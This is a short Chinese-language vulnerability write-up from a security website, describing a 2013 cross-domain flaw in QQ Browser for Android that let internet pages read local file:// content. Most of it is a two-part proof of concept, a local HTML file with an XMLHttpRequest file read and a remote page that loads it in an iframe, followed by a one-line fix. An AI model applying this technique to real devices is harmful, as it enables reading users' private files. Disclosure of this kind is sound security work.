QQ浏览器for android跨域及修复

浏览:
字体:
发布时间:2013-12-09 23:23:53
来源:
QQ 浏览器 for android 在跨域实现上存在缺陷导致漏洞。
 
原则上从 internet 域禁止访问 file 域,但是 QQ 浏览器在实现上存在缺陷,造成可以从 internet 域访问到 file 域上的文件,如果 file 域上存在一个漏洞文件则可以获取手机端的敏感信息等。
 
1、在手机上生成一个如下代码的 html 文件,位置随意,我这里放置到 /sdcard/ 目录下:
 
<script type="text/javascript">var request = false;if (window.XMLHttpRequest) {    request = new XMLHttpRequest();    if (request.overrideMimeType) {        request.overrideMimeType("text/xml");    }} else if (window.ActiveXObject) {    var versions = ["Microsoft.XMLHTTP", "MSXML.XMLHTTP", "Microsoft.XMLHTTP", "Msxml2.XMLHTTP.7.0", "Msxml2.XMLHTTP.6.0", "Msxml2.XMLHTTP.5.0", "Msxml2.XMLHTTP.4.0", "MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP"];    for (var i = 0; i < versions.length; i++) {        try {            request = new ActiveXObject(versions[i]);        } catch (e) {}    }}xmlhttp = request;xmlhttp.open("GET", document.URL, false);xmlhttp.send(null);alert(xmlhttp.responseText);</script>

 

 
 
2、在任意 internet 域下上传一个如下代码的 html 文件,比如 http://victim.com/ 下:
 
<!DOCTYPE html><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>qq browser file vul</title><body><script type="text/javascript"></script>sdcard file <br/><iframe src="file:///sdcard/qq.html"></iframe></body></html>

 

 
 
3、通过 http://victim.com/qq.html 进行访问,如下图
 
 
 
PS:至于怎么在手机上放置一个存在漏洞的文件那又是另外一个问题了。
 
修复方案:
1、限定 internet 域对 file 域的访问
>更多相关文章
24小时热门资讯
24小时回复排行
资讯 | QQ | 安全 | 编程 | 数据库 | 系统 | 网络 | 考试 | 站长 | 关于东联 | 安全雇佣 | 搞笑视频大全 | 微信学院 | 视频课程 |
关于我们 | 联系我们 | 广告服务 | 免责申明 | 作品发布 | 网站地图 | 官方微博 | 技术培训
Copyright © 2007 - 2024 Vm888.Com. All Rights Reserved
粤公网安备 44060402001498号 粤ICP备19097316号 请遵循相关法律法规
');})();